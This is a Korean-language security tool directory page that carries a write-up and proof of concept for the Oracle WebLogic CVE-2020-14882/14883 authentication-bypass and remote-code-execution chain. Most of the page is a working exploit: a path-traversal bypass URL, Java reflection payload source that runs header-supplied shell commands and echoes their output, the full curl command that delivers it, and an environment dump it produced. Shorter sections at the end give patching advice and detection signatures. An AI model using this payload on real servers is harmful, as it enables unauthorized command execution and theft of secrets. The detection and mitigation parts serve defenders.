Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-14882-WebLogic-Analysis — Oracle WebLogic Server 취약점 체인을 위한 기술 분석 및 깔끔한 Java Thread Echo PoC. | Kitploit
도구/GitHubGitHub/velessecurity/cve-2020-14882-weblogic-analysis
Vulnerability AnalysisExploitationWeb Application ExploitationPayload Development
GitHubvelessecurity/cve-2020-14882-weblogic-analysis

CVE-2020-14882-WebLogic-Analysis

Oracle WebLogic Server 취약점 체인을 위한 기술 분석 및 깔끔한 Java Thread Echo PoC.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
322일 전아직 검토되지 않음
공유

취약점 연구: Oracle WebLogic Server의 CVE-2020-14882 및 CVE-2020-14883 체인 익스플로잇

이 저장소는 Oracle WebLogic Server 관리 콘솔 구성 요소에서 인증 우회(Authentication Bypass) 및 원격 코드 실행(RCE) 취약점 체인을 시연하기 위한 기술 보고서(Write-up)와 개념 증명(Proof of Concept, PoC)을 포함합니다.

🛑 경고 및 면책 조항: 본 자료는 교육 목적과 합법적인 보안 감사(Pentest) 수행을 위해서만 준비되었습니다. 소유자의 사전 서면 동의 없이 설명된 기술을 시스템에 사용하는 것은 법적으로 처벌받을 수 있습니다.


🏗 연구 아키텍처 및 스택

  • 대상: Oracle WebLogic Server 12.2.1.3 버전이 배포된 격리된 테스트 환경
  • 공격 벡터: Path Traversal → MVEL2 Script Execution → Java Thread Hijacking
  • 도구: nmap, curl, bash

📈 실전 익스플로잇 절차

단계 1. 패시브 및 액티브 경계 정찰 (Scanning)

공격 표면을 파악하기 위해 웹 서비스 표준 포트와 Java 애플리케이션 관리 포트에 대한 타겟 스캔을 수행했습니다:

root@kitploit:~
nmap -sV -p 7001,80,8080,8443 <TARGET_IP>

제어된 터미널 출력:

root@kitploit:~
Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).

PORT     STATE  SERVICE VERSION
80/tcp   closed http
8080/tcp closed http-proxy
7001/tcp open   http    Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)

Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
  • 단계 인사이트: 배너를 통해 취약한 12.2.1.3 브랜치가 존재함을 확인했습니다. T3 프로토콜 활성화는 대체 벡터를 시사하지만, 이 연구에서는 콘솔의 HTTP 웹 인터페이스를 선택했습니다.

단계 2. 인증 메커니즘 우회 (CVE-2020-14882)

경로 구조 분석 결과, 웹 서버가 이중 URL 인코딩된 상위 디렉터리 이동 시퀀스를 잘못 처리하는 것으로 나타났습니다. /console/css/ 리소스는 정적 파일에 대해 열려 있습니다. 보호된 포털에 접근하기 위해 요청을 구성합니다:

  • 우회 패턴: /console/css/%252e%252e%252fconsole.portal

서버의 접근 가능 여부와 동작을 확인합니다 (403 Forbidden 또는 로그인 페이지로의 302 Redirect 대신 200 OK 상태를 기대):

root@kitploit:~
curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"

서버 응답:

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8

단계 3. Java Reflection을 통한 원격 코드 실행 (CVE-2020-14883)

인증 우회를 세션 핸들러 com.tangosol.coherence.mvel2.sh.ShellSession 호출과 결합하여 임의의 Java 코드를 실행할 수 있게 되었습니다.

java.lang.Runtime를 통한 일반적인 명령 실행은 '블라인드'(Blind RCE) 상태입니다. Command Echo(HTTP 응답 본문에 터미널 출력을 직접 반환) 기법을 구현하기 위해 특수한 리플렉티브 Java 페이로드가 개발되었습니다.

Java 페이로드 소스 코드:

root@kitploit:~
// 1. WebLogic의 현재 실행 중인 작업 스레드를 가로챕니다
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();

// 2. Reflection API를 통해 내부 연결 핸들러를 추출합니다
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);

// 3. 현재 세션의 Request 및 Response 객체에 접근합니다
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);

// 4. 공격자가 보낸 커스텀 HTTP 헤더를 읽습니다
String cmd = req.getHeader("X-CMD-HEADER");

if (cmd != null) {
    // 셸 호출을 위해 대상 시스템의 OS를 확인합니다
    String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") 
        ? new String[]{"cmd.exe", "/c", cmd} 
        : new String[]{"/bin/sh", "-c", cmd};
    
    // 시스템 명령을 실행하고 Input Stream을 읽습니다
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
        .useDelimiter("\\A").next();
    
    // 결과를 웹 서버의 출력 HTTP 스트림에 강제로 기록합니다
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
}

// 5. HTTP 패킷을 클라이언트에 즉시 전송하기 위해 스레드를 중단합니다
executeThread.interrupt();

단계 4. 최종 익스플로잇 및 환경 덤프 (Exploitation)

Java 컨텍스트 전송을 자동화하기 위해 최종 curl 명령을 구성합니다. 페이로드는 POST 파라미터 handle에 전달하고, 실행할 명령은 커스텀 헤더 X-CMD-HEADER: env에 전달합니다.

이 방식은 연구자 측 로컬 Bash 셸 인터프리터에 의한 데이터 왜곡을 방지합니다.

root@kitploit:~
curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"

실제 검증된 출력 (환경 변수 덤프):

root@kitploit:~
*   Trying <TARGET_IP>:7001...
*   Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
> 
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
< 
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining
  • 출력에 대한 기술적 참고 사항: 로그 맨 끝의 curl: (18) 오류는 익스플로잇 성공을 확인합니다. 이는 executeThread.interrupt() 명령이 env 명령 결과 버퍼가 클라이언트로 전송된 직후 TCP 세션을 강제로 끊기 때문에 발생합니다.

🛡 취약점 제거 권장 사항 (Mitigation)

  1. 보안 업데이트: 콘솔의 경로 검증 결함을 해결하기 위해 Oracle의 공식 패치(Critical Patch Update)를 설치합니다.
  2. 네트워크 접근 제한: 관리 포트(7001, /console)를 외부 경계로부터 완전히 네트워크 격리합니다 (내부 VPN/마이크로세그멘테이션을 통해서만 접근 허용).
  3. WAF 보호: 이중 URL 인코딩 경로(%252e)의 징후와 특정 Java 클래스 호출이 결합된 URL 요청을 차단하도록 Web Application Firewall 규칙을 설정합니다.

🔍 침해 지표 및 탐지 (Detection)

보안 모니터링 전문가(SOC/Blue Team)의 경우, 이 취약점 체인의 성공적인 익스플로잇은 인프라에 명확한 흔적을 남깁니다.

1. 웹 로그 분석 (HTTP Access Logs)

WebLogic 웹 서버 로그(일반적으로 access.log에 위치)에서 공격의 마커는 정적 디렉터리를 통한 관리 포털 접근과 점 및 슬래시의 이중 URL 인코딩이 결합된 형태입니다:

  • 경로 우회 시그니처: URI 내부에서 인코딩된 하위 문자열 .. 검색: %252e%252e%252f 또는 %252e%252e%252F.
  • 의심스러운 요청 예시:
    root@kitploit:~
    "POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 200 4531
    

2. OS 프로세스 동작 (Endpoint Monitoring / EDR)

서버에 프로세스 감사가 설정된 경우(예: Linux의 Auditd 또는 Windows의 Sysmon), 원격 코드 실행의 징후는 Java 부모 프로세스의 비정상적인 동작입니다:

  • 비정상적인 프로세스 트리: 시스템 셸(/bin/sh, /bin/bash 또는 cmd.exe)의 부모 프로세스가 애플리케이션 서버를 실행 중인 Java 작업 프로세스인 경우:
    root@kitploit:~
    ├─ java (WebLogic Server process)
    │  └─ /bin/sh -c env
    
  • 커스텀 헤더 모니터링: 공격자가 페이로드(Command Echo)를 전달하는 데 사용하는 비정형 HTTP 헤더(예: X-CMD-HEADER 또는 X-Forwarded-Cmd)가 트래픽 또는 WAF 로그에 나타나는지 확인.

🔗 유용한 링크 및 자료

  • CVE 데이터베이스: NIST NVD - CVE-2020-14882 | NIST NVD - CVE-2020-14883
  • 분석 기사: Oracle Critical Patch Update Advisory
도구 다운로드